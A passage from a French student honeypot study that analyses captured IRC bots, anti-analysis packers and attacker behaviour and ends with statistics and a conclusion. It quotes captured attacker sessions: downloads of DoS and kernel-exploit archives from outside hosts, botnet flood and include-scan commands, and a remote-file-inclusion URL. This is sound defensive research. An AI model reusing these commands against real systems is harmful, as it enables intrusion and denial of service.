T0rnkit fut le premier rootkit à utiliser des binaires précompilés pour linux/x86 configurables à l’aide de fichiers de configuration et malgré l’arrivé de rootkit bien plus puissant s’attaquant directement au noyau, les pirates continuent à l’utiliser.
Binaires pour windows
À l’inverse des systèmes UNIX, le nombre de binaires visant le système d’exploitation
de Redmond est assez conséquent, environ 150 différents exécutables ont été récoltés rien
qu’avec nepenthes. Après un passage dans l’antivirus libre clamAV, on peut s’apercevoir
que la plupart de ces programmes sont des variantes des célèbres SDBot, Agobot ou encore Rbot, des robots IRC se connectant à un botnet et dont nous verrons les fonctions
avancées qu’ils proposent.
bash-2.05b$ clamscan * | head -5
005147d5d662830fa39c8f8f96c0e31f:
007dfca76334f1a00adda6cdf19df25d:
01508130dc94e959ee2226a3bd63380b:
0184690e186ab69cc9147a48e2797d21:
03f75b3ee0725bd67ad349d4f3a2e640:
Trojan.Sdbot-3486
Trojan.SdBot-4124
Trojan.AgoBot-722
Trojan.SdBot-2631
Trojan.IRCBot-776
FOUND
FOUND
FOUND
FOUND
FOUND
On peut remarquer qu’une trentaine de ces binaires ne sont pas détectés par clamav
alors qu’ils réalisent clairement des actions malveillantes, nous analyserons dans cette
section les techniques pour se cacher des antivirus.
bash-2.05b$ clamscan * | grep OK | wc -l
27
Les robots IRC sur-puissants
Dans la section consacrée aux botnets, nous avons découvert les robots IRC fonctionnant sur les systèmes UNIX. Dans cette partie, nous analyserons leurs cousins de chez
Redmond qui sont bien plus avancés et qui visent une population différente, les utilisateurs. Le listing suivant présente les différents robots capturés.
47
Analyse de binaires
5
RÉSULTATS
– Agobot
Publié en 2002, Agobot est un robot IRC qui possède plus de 100 variantes et qui
est aussi connu sous le nom de Phatbot. C’est probablement le robot le mieux codé
et le plus sophistiqué. Il a été écrit en C et possède en moyenne 20 000 lignes de
code. Il implémente un système de chargement à la volée de modules qui permet au
pirate d’écrire leur propre module. Parmi les actions intéressantes présentes en natif,
on retrouve la possibilité de diffuser les comptes paypal et AOL de la machine, de
corriger les principales vulnérabilités de windows telles que RPC.DCOM, LSASS,
se protéger contre les outils de débuggage actif tels que OllyDBG ou softICE.
– SDBot
Publié en 2002 sous la licence GPL, SDBot est à la base un robot IRC sans aucune
mauvaise intention et programmé en 2000 lignes de C. Il a était utilisé par les pirates comme base pour construire leur propre robot et on peut trouver sur le web
une centaine de patchs qui ajoutent chacun leur lot de fonctions malveillantes telle
que la récupération des saisies clavier de l’utilisateur piraté.
– RBot
RBot est un robot assez récent, dont la base est écrite en ruby et publiée sous licence
GPL. Comme pour SDBot, ceux sont les modifications apportées par les pirates qui
ont fait passer le robot du coté obscure de la force. Ainsi, plusieurs variantes circulent sur la toile implémentant des actions qui vont du simple DDoS à la désactivation de services en passant par l’envoi massif de mails.
On peut remarquer qu’au niveau des actions, on retrouve la récupération des saisies
claviers et la correction des vulnérabilités, deux fonctionnalités qui peuvent faire très mal
que nous ne retrouvons pas encore dans les robots dédiés aux systèmes UNIX.
La méthode de propagation, lancée par le maître du robot à partir d’IRC, consiste à
scanner une plage d’adresses IP, aléatoire ou donnée, afin de tenter l’exploitation de différentes vulnérabilités rassemblées dans le tableau suivant.
Vulnérabilité
Description
Année
Dameware
Buffer overflow dans l’username
2005
NetBIOS
Session IPC nulle autorisée
2004
Lsass
Stack overflow dans le service LSASS
2004
RPC-DCOM Buffer overflow dans les noms de fichier DCOM 2003
De plus, pour se propager, ces robots n’hésitent pas à utiliser les portes dérobées laissées par des virus/vers comme blaster, sasser, bagle ou MyDoom.
Les réseaux constitués de zombies tournant sous windows sont très gros et l’infiltration
de ceux-ci reste une tâche difficile en raison des actions proposées par les robots qui sont
difficiles à émuler.
48
Analyse de binaires
5
RÉSULTATS
Empêcher l’analyse et contrer les antivirus
Contrairement aux binaires malveillants dédiés aux systèmes UNIX, les binaires sous
windows intègrent des méthodes très avancés pour contourner les antivirus et décourager
les petits gars qui désirent jouer avec le code assembleur. Les techniques mises en oeuvre
proviennent essentiellement des talentueux créateurs de virus et les passionnés de la rétroingénierie. Nous avons pu rencontrer les méthodes suivantes.
Packer
Les packers sont des utilitaires dont le rôle consiste à compresser et/ou crypter un programme exécutable. Au moment de son exécution, un programme ainsi passé entre les
mains d’un packer basique se charge en mémoire, compressé et/ou encrypté, puis s’autoexpanse gràce à quelques routines situées au point d’entrée du programme pour, enfin,
s’exécuter. Le monde des packers a très évolué ces dernières années et nous sommes
passées du simple compresseur d’exécutable comme UPX qui fut le premier de la génération à des packers ultra-puissants intègrant des algorithmes de cryptographie avancés
(AES, BlowFish), du polymorphisme, un déchiffrement instruction par instruction... Un
exemple de cette nouvelle génération de packer est Themida, qui est largement utilisé
pour détourner les antivirus et éloigner les regards des consultants en sécurité.
Un binaire malveillant packé avec Themida résiste à pratiquement tous les antivirus.
Seulement une mineur partie de ces programmes de sécurité le détectent comme malveillant pour la simple raison qu’il est packé avec Themida, un packer, pas encore officiellement casser, qui implémente pleins de fonctionnalités intéressantes.
F IG . 23: Binaire packé avec Themida
–
–
–
–
–
–
–
–
Techniques anti-debug
Techniques anti-tracage
Techniques empêchant le dump de la mémoire en ring0 et ring3
Techniques d’obfuscation du code assembleur
Basé sur une machine virtuelle
Algorithme proprétaire de crypto
Plantage des plus grands débuggeur
...
On retrouve également des binaires packés à la main avec une simple routine qui
réalise un ou-exclusif sur tous les octets du programme avant de les exécuter comme on
peut le voir sur la capture 24 prise dans OllyDbg.
On peut voir que le programme appelle (004DF00E) directement une routine qui parcourt la mémoire et fait un xor des opcodes rencontrés avec la clef 0x0D.
49
Analyse de binaires
5
RÉSULTATS
F IG . 24: Routine d’un packer maison
Tromper OllyDBG
Les entêtes PE20 des binaires sont modifiées pour tromper les débuggeurs tels que OllyDBG ou WinDBG sans pour autant altérer leurs exécutions. Ainsi la figure 25 montre
comment OllyDBG s’est fait avoir avec une entête PE falsifiée et se trompe sur le point
d’entrée du programme.
F IG . 25: OllyDBG dans les choux
Obfuscation du code
Une autre technique, aussi utilisée dans le monde des UNIX, consiste à masquer des intructions assembleur au débuggeur par des méthodes d’obfuscation. Pour cela, le créateur
place au milieu des instructions assembleur des sauts qui passent au dessus de chaînes ASCII représentant des débuts d’instructions assembleur. Les débuggeurs, pas futé comme
OllyDBG, risquent d’interpréter ces chaînes comme des instructions assembleur et va
perdre son alignement pour interpréter les prochaines instructions qui seront faussées. Au
contraire, IDA Pro détecte ce genre de méthode sans problème.
Dans la capture d’IDA 27, on s’aperçoit que l’instruction rep mov ecx, edx n’est pas
masqué par la chaîne db 65h, 36h alors qu’elle l’est sous OllyDBG qui interprète la chaîne
20
Portable Executable
50
Comportement des pirates
5
RÉSULTATS
F IG . 26: Obfuscation dans OllyDBG
F IG . 27: Obfuscation dans IDA PRO
comme les instructions prefix et ne retrouve plus le rep mov ecx, edx.
On peut en conclure que l’analyse des binaires malveillants sous windows est un art
réservé à l’élite puisque ces derniers implémentent toutes les protections imaginables qui
peuvent laisser un homme éveiller plusieurs nuits.
Beaucoup de personnes expliquent le déroulement des attaques sur internet en se limitant uniquement à des connaissances théoriques ou à des "on dit". . .Un avantage avec
les honeypots est qu’il est possible de connaître exactement les méthodes utilisées par les
pirates pour compromettre des systèmes informatiques, leurs motivations ainsi que leurs
comportements face à la machine compromise. Cette sous-section décrit ces quelques élements à travers l’étude des attaques subites sur les honeypots ainsi que l’étude du trafic
IRC.
Types d’attaques
Dans le monde de la sécurité, il existe essentiellement deux types d’attaques, celles
dites passives qui consistent à écouter le réseau pour dégager des informations intéressantes et celles dites actives qui nécessitent l’action du pirate. Les attaques passives sont
difficilement détectables et ne seront pas traitées ici. En effet, ces dernières sont plus difficiles à mettre en oeuvre et demandent plus de temps et de patience aux pirates. Ainsi
après compromission d’une machine, aucun pirate n’a tenté d’écouter le trafic pour éventuellement récolter des informations provenant d’autres machines du réseau local.
51
5
RÉSULTATS
Sur le réseau leurré, seul des attaques actives ont été identifiées. Parmi elles, on retrouve les déni de services qui visent à interdire à une machine d’accéder à une ressource.
Cela peut aller du blocage de la connexion pendant quelques secondes, du plantage d’un
processus tel que celui qui gère les requêtes HTTP (apache) ou même du noyau en lui
même. Beaucoup d’outils permettant ce genre d’attaque sont facilement trouvable sur internet et leur utilisation est un jeu d’enfant comme on peut le voir sur la session ssh relevée
sur une machine.
bash-2.05# lynx www.bios10h.go.ro/flood.tar.gz
bash-2.05# tar xzvf flood.tar.gz
(...)
flood/bin/bonk
flood/bin/winnuke
flood/bin/vadimII
(...)
bash-2.05# cd flood
bash-2.05# ./flood
usage : ./flood <host> <type of attack>
example : ./flood linux.com 6 (for a teardrop attack against linux.com)
bash-2.05# ./flood 88.88.99.66 23
Le pirate télécharge une archive flood.tar.gz qui contient une multitude d’outils qui
réalisent chacun une attaque par déni de services bien précise. Ces outils sont commandées
par le script flood dont une partie du contenu est présentée ci dessous.
bash-2.05b$ cat flood
#!/bin/sh
if [ "$1" = "" ]; then
echo ""
echo " flood vBETTA 00.2 : a DoS pack "
echo " by Zorg
http://wget.home.ro "
echo "
wget*home.ro "
(...)
echo " usage : $0 <host> <type of attack> "
(...)
if [ "$2" = 3 ]; then
echo " Hanson : This program exploits mIRC’s bound sockets"
exec bin/hanson $1 139
fi
(...)
if [ "$2" = 23 ]; then
echo " vadimII DoS Attack "
exec bin/vadimII $1 80 10 0
fi
Ce script ne fait qu’exécuter un programme en fonction de l’attaque spécifiée en argument (deuxième). On retrouve les traditionnels "ping flood", "ping de la mort", "win
nuke"... Ici, notre pirate décide de s’attaquer à la machine 88.88.99.66 en utilisant l’attaque numéro 23 soit le programme vadimII qui un simple flooder qui envoi une quantité
infinie de paquets TCP SYN de 10 octets sur le port 80 de la machine en usurpant son
adresse IP par l’adresse 127.0.0.1 dans le but de rendre inaccessible les services web proposés.
52
5
RÉSULTATS
Qui sont les victimes des DoS ?
Les dénis de services sont généralement à l’origine d’un conflit ou d’un duel entre
deux pirates, qui sera le premier à mettre hors service son rival ? Ainsi nous n’avons vu
aucun serveur connu se faire attaquer par ce type d’attaque d’autant plus qu’elles ne sont
pas assez puissantes pour qu’une seul machine puisse faire tomber un serveur. Pour faire
mal à un serveur tel que ceux de yahoo ou google, il faudrait plusieurs millions de pc
avec de bonne connexion sous les ordres de pirates assez expérimentés pour le choix de
l’attaque. C’est ce qui est arrivé à yahoo il y a quelques années où un jeune pirate à la
tête d’un gigantesque botnet a lancé une attaque contre les serveurs web du moteur de
recherche. En effet, en analysant les sessions IRC enregistrées sur des channels de botnet,
on retrouve des commandes qui ordonnent aux zombies de lancer ce type d’attaque.
<xeQter> !x @udp 213.168.230.66 500 500
<readd789> (UDP DDoSing) Attacking^B: 213.168.230.66 - Time: 500seconds
<Clubs> (UDP DDoSing) Attacking^B: 213.168.230.66 - Time: 500seconds
<curpos291> (UDP DDoSing) Attacking: 213.168.230.66 - Time: 500seconds
<nsa> (UDP DDoSing) Attacking: 213.168.230.66 - Time: 500seconds
(...)
xeQter, le gourou du botnet, donne l’ordre à ses disciples de mettre à mal la machine
ayant pour adresse 213.168.230.66 en envoyant une multitude de paquets UDP sur le port
500 et pendant 500 secondes. La machine 213.168.230.66 est alors inondé par les paquets
UDP de tous les zombies et devrait être dans l’incapacité de répondre aux requêtes légitimes et ainsi de communiquer avec d’autres machines. Avec un whois on s’aperçoit que
l’adresse IP appartient au groupe TelecityRedbus, un FAI d’Irlande et qu’elle ne propose
aucun service. On peut alors supposer qu’un réglement de compte entre pirates se cachait
derrière cette attaque.
Le second type d’attaques actives rescencé sur notre réseau leurré sont les exploitations à distance de vulnérabilités visant les systèmes d’exploitation ou les services proposées. L’outil SnortSnarf permet de dégager des statistiques depuis les logs générés par
l’IDS21 snort mis en place sur l’honeynet.
F IG . 28: TOP3 snort
La figure 28 montre les 3 principales attaques subites sur les honeypots et surprise,
on ne retrouve que des attaques visant le système d’exploitation de Redmond et plus
particulièrement le service NetBIOS. En effet, ce service est connu pour être activé par
défaut sur les machines et est connu pour ses failles simples à exploiter. Les pirates ainsi
21
Intrusion Detection System
53
5
RÉSULTATS
que les vers ne s’embêtent pas à chercher à exploiter une faille dans un service ou système
très peu utilisé, leur but primaire est de compromettre le plus de machines possibles en
faisant le minimum d’effort. Même si les failles dans le service NetBIOS présentes dans ce
TOP3 sont aujourd’hui anciennes et patchées, le nombre de machines encore vulnérables
est largement supérieure face à une faille récente dans un système d’exploitation peu
répandu comme la faille qui touche la pile IPv6 d’OpenBSD parrue en Mars 2007 et qui
permet l’exécution de code à distance. Ce phénomène est confirmé par l’étude des logs
de webtrap où on peut voir qu’une faille dans le CMS22 mambo datant de fin 2005 a été
exploité 23658 fois.
bash-2.05b$ grep serverstat webtrap-report-* | wc -l
23658
Les failles dans les applications PHP sont très répandues et leur exploitation est simple
et générique. Ainsi les principaux botnets intègrent une fonction qui permet de mettre à
jour une liste d’url vulnérables à des failles de type include, une faille dangereuse qui
résulte de la mauvaise utilisation de la fonction include() et de ses cousines dans un script
et permettant l’interprétation de code arbitraire sur le serveur web. La session IRC suivante
enregistrée au sein d’un botnet montre un exemple d’utilisation de ces fonctions.
<xeQt> !x !eval @gstring=’flashchat’;
<xeQt> !x @ws 300 /inc/cmses/aedatingCMS2.php?dir[inc]=
(...)
<xeQt> !x !eval @gstring=’joomla+mgm’;
<xeQt> !x @ws 300 /administrator/components/com_mgm/help.mgm.php?
mosConfig_absolute_path=
<mowgli> (wScan)(Scanning: /administrator/components/com_mgm/help.mgm.php?
<Nozz-8228> (wScan)(Scanning: /administrator/components/com_mgm/help.mgm.php?
<vCrew> (wScan)(Scanning: /administrator/components/com_mgm/help.mgm.php?
(...)
Le maître du botnet demande à ses zombies d’effectuer une recherche sur google avec
les requêtes "flashchat" et "joomla+mgm" puis de lancer une attaque de type include vers
une URL bien précise pour chaque site renvoyé par le moteur de recherche. Dans notre
cas, le pirate tente d’exploiter une faille include dans le plugin mgm de joomla, pour cela
il donne à ses zombies uniquement le nom du script (help.mgm.php), son emplacement
par rapport à la racine du site web ainsi que la variable vulnérable et les zombies vont
inclure automatiquement le script malveillant dans cette variable. La faille venait d’être
publiée quelques minutes auparavant sur bugtraq, le pirate n’a eu qu’à lire l’avis publié
pour déterminer les informations à spécifer aux zombies. Ainsi le rapport machines compromises sur la puissance nécessaire à l’exploitation est largement en faveur du pirate.
En résumé, on peut dire que les pirates utilisent essentiellement des attaques pour faire
du profit, c’est à dire qui lui donnent un accès sur la machine vulnérable et qu’ils visent
des vulnérabilités faciles à exploiter, courantes et pas forcement récentes.
22
Content Management System
54
5
RÉSULTATS
Que font-ils après une compromission réussie ?
Même si une multitude de pirates, venant des quatres coins du globe, ont rendu visite aux honeypots pendant la durée du projet, on peut remarquer que les premières actions qu’ils effectuent sur la machine après compromission sont sensiblement toujours les
mêmes.
– Identification du système
Le pirate aime bien avoir des informations sur le système qu’il vient de pénétrer.
Pour cela il exécute les commandes uname -a pour avoir une idée du système d’exploitation et sa version puis il fait un tour dans le système de fichiers virtuel /proc
pour récolter des informations sur la mémoire physique (meminfo) et le processeur
(cpuinfo). Ces informations permettent au pirate de savoir quels services il lancera
ou non sur cette machine.
– Elévation de privilège
Si le pirate n’a pas obtenu les droits de super-utilisateur à la première attaque, il va
tout faire pour gagner ces droits. Pour cela, il utilise les informations récoltées précédement et va essayer une multitude de programmes exploitant des failles en local
du noyau généralement jusqu’à avoir le temps attendu uid=0. L’exemple ci-dessous
montre une session ssh enregistée sur un des honeypot.
[user@paf user]$ wget www.int10h.ru/root/Linux-2006.tar.gz
[user@paf user]$ tar zxvf Linux-2006.tar.gz
[user@paf user]$ cd local2006
[user@paf local2006]$ ./ave
Local Root exploit based on do_brk and do_munmap
(...)
[user@paf local2006]$ id
[user@paf user]$ ./0
[user@paf user]$ ./x
Le pirate télécharge une série d’exploits pour le kernel 2.6 et les exécutent un par
un en glissant un id à chaque exécution pour savoir si l’exploit lui a donné les droits
de super-utilisateur. Manque de chance, il a dû oublier qu’il était sur un kernel de la
série 2.4. Il a fini par perdre patience et quitter la machine. Il est parti à la conquête
d’une autre cible.
– Correction de la faille
Pour empécher que d’autres pirates puissent exploiter la même faille et rester seul
sur la machine, le pirate tente toujours de corriger la vulnérabilité qu’il a exploité.
Pour cela il utilise divers techniques qui peuvent aller jusqu’à la modification du
noyau dans la mémoire depuis le périphérique /dev/kmem ou depuis un module
noyau (LKM23 pour Linux) pour les pirates les plus expérimentés. Malheureusement, sur notre réseau leurré, la correction de faille ne s’est limitée qu’à la modification du mot de passe du compte piraté. En effet, aucun pirate n’a tenté de tuer ou
de patcher le telnetd vulnérable.
23
Linux Kernel Module
55
Quelques statistiques
5
RÉSULTATS
– Garder l’accès et masquer son activité
Une fois la faille corrigée, pour pouvoir revenir sur la machine, le pirate installe une
porte dérobée que nous avons étudié dans la section 5. Ces programmes, dans leur
version la plus simple, ouvrent un port TCP qui donne accès à un shell à distance.
Certains de ces programmes sont plus furtifs dans le sens où ils écoutent le réseau
et dès qu’une suite bien précise de paquets arrivent sur la machine, le processus
qui gère le shell distant est lancé et le port TCP est mis en écoute qu’a partir de
ce moment là. En plus de s’assurer de garder un accès sur la machine, le pirate va
également chercher à masquer son activité sur la machine pour garder le plus longtemps possible la main mise sur la machine. Pour cela, il utilise des programmes
que l’on appelle communément rootkits qui contiennent un atirail d’outils qui ont
pour rôle de masquer les connexions du pirate, les fichiers créés, les processus lancés... Ils existent essentiellement deux types de ces kits, les plus anciens comme
celui étudié dans la section 5 qui se lance en espace utilisateur et qui consiste à
modifier les binaires livrés avec un système unix de base tels que ls, netstat, ps...
les plus récents s’attaquent directement au noyau pour modifier les appels systèmes
utilisés par les programmes en espace utilisateur tels que sys_read, sys_getdents.
Alors que les premiers sont facilement détectables avec des sommes de contrôle
sur les binaires (tripwire, samhain), les seconds utilisent des techniques plus sofistiquées pour se camoufler et il est ainsi plus dur d’en détecter la présence. Il existe
cependant des programmes spécialisés dans la recherche d’anomalies dans l’espace
kernel comme zeppoo, chkrootkit...
– Effacement des traces
Pour masquer les preuves de la compromission, le pirate touche aux logs générés
pendant et après l’attaque pour pas que l’administrateur ou un analyseur de logs
tombent dessus. Pour cela, il peut falsifier les logs avec de fausses données, inonder
le système de logs ou tout simplement supprimer les lignes qui le concerne dans les
différents fichiers de logs comme le fait le script shell livré avec le rootkit t0rn vu
précédement.
Depuis les logs récoltés par les différents outils mis en place sur les honeypots nous
pouvons sortir plusieurs informations sur les pirates. Cette sous-section met en valeur
quelques unes de ces informations en affichant des graphiques générés à l’aide d’un script
python et de la librairie matplotlib.
Origines
En enregistrant les adresses IP des attaquants comme le fait le web honeypot webtrap,
on peut réaliser un whois pour découvrir l’origine de ces derniers, c’est ce que fait la
librairie python GeoIP.
Le graphique figure 29 met en valeur les principales provenances des attaques subies
56
5
RÉSULTATS
F IG . 29: Origine des pirates
sur les différents honeypots. On peut remarquer que la plupart des attaques proviennent
des Etats-Unis qui possède la plus grosse allocation d’adresses IP. Ensuite nous retrouvons
la France, le pays dans lequel les honeypots se trouvent, la Roumanie, connue pour ses
pirates, l’Allemagne, le Royaume-Unis, la Hollande, des pays proches de la France. En
effet, dans les programmes automatisés, la plage d’adresses IP est déduite de l’adresse de
la machine victime qui lance le scanneur ou celle du pirate s’il le lance depuis sa propre
machine.
57
5
RÉSULTATS
Navigateurs
F IG . 30: Navigateur des pirates
Au niveau des navigateurs, firefox est, sans aucun doute, le plus utilisé par les pirates
suivi par Opera. libwww-perl n’est pas un navigateur mais une librairie perl permettant
de manipuler facilement le protocole HTTP et est utilisée par la plupart des scanneurs de
failles web. Morfeus est un scanneur de failles PHP connues sur le net sous le nom de
"Morfeus Fucking Scanner". Internet Explorer ne semble pas être très utilisé par les pirates qui sont vraisemblablement soucieux de leur sécurité même si plusieurs d’entre eux
utilisent encore la suite Mozilla, versions 4.0 et 5.0, qui n’est plus maintenue depuis plus
d’un an et qui contient pas mal de failles de sécurité. On peut imaginer l’implémentation
dans webtrap de la génération de pages exploitants les failles des navigateurs des pirates
mais dans ce cas, nous nous heurterons à des problèmes juridiques.
58
5
RÉSULTATS
Applications PHP
F IG . 31: Applications php
Le fichier PHP le plus ciblé est le fichier install.serverstat.php que l’on trouve dans le
CMS mambo qui s’appelle aujourd’hui joomla. Ce fichier contient, dans les versions 0.4.4
et antérieures, une faille de type include au niveau de la variable mosConfig_absolute_path
permettant l’exécution de code PHP à distance. Le détail de la requête exécutée par les
pirates confirment bien l’inclusion de scripts (lol1.txt ici) PHP à distance.
/mambo/admin/administrator/components/com_serverstat/install.serverstat.php?
mosConfig_absolute_path=http://www.ortaksohbet.com/lol1.txt?
Dans les scripts les plus appelés, on retrouve aussi les scripts d’administration comme
shell.php ou phpshell.php qui servent à administrer un serveur à distance en ayant un interpréteur de commande à partir du navigateur. Les pirates cherchent ce genre de programme
qui sont souvent placés sans protection sur des sites web par les administrateurs.
59
5
RÉSULTATS
Google
F IG . 32: Requêtes google
Le graphique figure 32 montre les requêtes renseignées dans le moteur de recherche
google pour arriver sur l’honeypot webtrap. On remarque que les pirates n’hésitent pas à
utiliser des requêtes google avancées en utilisant des mots clef tels que inurl qui permet
de rechercher une chaîne de caractère dans une URL ou intitle qui permet de rechercher
dans les titres des pages uniquement. Dans les premières positions, nous retrouvons les
requêtes qui permettent d’accéder à des fichiers textes tels que pass.txt ou master.passwd
qui pourraient contenir des mots de passes. On retrouve également les requêtes qui permettent de rechercher la présence de scripts php sensibles comme phpshell.php que nous
avons vu précédement.
60
5
RÉSULTATS
Systèmes d’exploitation
En ce qui concerne le système d’exploitation des pirates, nous pouvons utiliser le
programme p0f qui va étudier passivement les paquets capturés pour déterminer le système d’exploitation de chaque adresse IP. Pour faire cela il se base sur les différences des
piles TCP/IP de chaque système d’exploitation. À l’aide d’un petit script en python, nous
pouvons aisément récupérer la liste des systèmes d’exploitations les plus utilisés par les
pirates.
bash-2.05b$ p0f -s pcap.dump | grep -v distance > oses
bash-2.05b$ python p0fstat.py oses
Solaris 10 - 1/203
FreeBSD 5.3-5.4 - 2/203
NMAP OS detection probe - 2/203
FreeBSD 6.x - 5/203
Windows XP SP1+, 2000 SP3 - 5/203
FreeBSD 4.6-4.9 - 5/203
Linux 2.6? - 6/203
Windows 2000 SP2+, XP SP1+ - 9/203
Linux 2.6 - 16/203
Windows 2000 SP4, XP SP1+ - 20/203
UNKNOWN - 26/203
Linux 2.4-2.6 - 51/203
Linux 2.6, seldom 2.4 - 56/203
Linux semble être le système d’exploitation le plus usité chez les pirates même si
on retrouve du Microsoft avec windows XP et 2000 pas très loin. Les rumeurs stipulant
que FreeBSD est de plus en plus utilisé sont confirmées par ce listing qui place FreeBSD
en troisième position devant Solaris, MacOSX. Le "NMAP OS détection probe" signifie
qu’une personne à lancer une détection de système d’exploitation à distance à l’aide du
scanneur nmap.
Binaires récupérés
Le tableau suivant montre quelques statistiques sur les scripts ou les binaires récupérés
sur les différents pots de miel.
Type
Quantité Taille
Éxecutables win32
150
45mo
Binaires unix
21
4.8mo
Scripts php, perl, python...
720
11.8mo
Éxecutables non-détectés par clamAV
27
12.2mo
On peut remarquer quand même que 27 binaires sur les 150 au total ne sont pas détectés par l’antivirus libre, clamAV, alors qu’ils réalisent des actions malveillantes sur le
système vulnérable.
61
8
6
REMERCIEMENTS
Conclusion
À travers ce projet, tous les intérêts que peuvent présenter la mise en place de pots de
miel dans un réseau informatique ont été mis en avant. Les pots de miel sont les outils
idéaux pour étudier le comportement, les tactiques et les motivations des pirates informatiques et ainsi se prémunir efficacement des attaques de ces derniers.
Il faut cependant garder à l’esprit que les honeypots visent à attirer les pirates sur son
réseau informatique et que la décision de déployer se genre de réseau leurré ne doit pas
être prise à la légère. Les objectifs doivent être clairement définis car même si couplé à
un IDS, ils représentent un outil très efficace, leurs configurations et leurs manipulations
restent très délicates et une erreur peut se répercuter sur le réseau de production.
Même si les pots de miel sont encore assez jeunes et réservés aux experts de la sécurité,
ils représentent d’ores et déjà une technologie très prometteuse dans la lutte contre la
cybercriminalité.
7
Bilan personnel
Ce projet a réellement été très instructif pour moi. J’en ai tiré des méthodes de programmation (matplotlib), des informations sur le monde underground d’aujourd’hui, des
contacts avec des grandes personnes de la sécurité informatique... Je suis persuadé que les
connaissances acquises durant ce projet me serviront dans un avenir proche et seront un
plus pour décrocher mon premier emploi dans la sécurité informatique.
8
Remerciements
Je remercie Monsieur Hemery, pour avoir accepter ma proposition de projet et pour
son aide. Je tiens également à adresser plus généralement un grand merci à toutes les personnes qui se battent pour mettre l’information disponible librement sur internet. "Greets
c
to all people who fight for free knowledge" anonymous.
62

Digital Cindy, les honeypots sexys

Transcription

Documents pareils

Antonin Rames

La logithèque libre de l`étudiant et du chercheur - EPFL-ENAC

sécurité informatique - cours Yves LESCOP

MSN 21 : ESPACE - Poser et résoudre des problèmes pour

Aide-mémoire Linux

Généalogie

Full Circle Magazine FR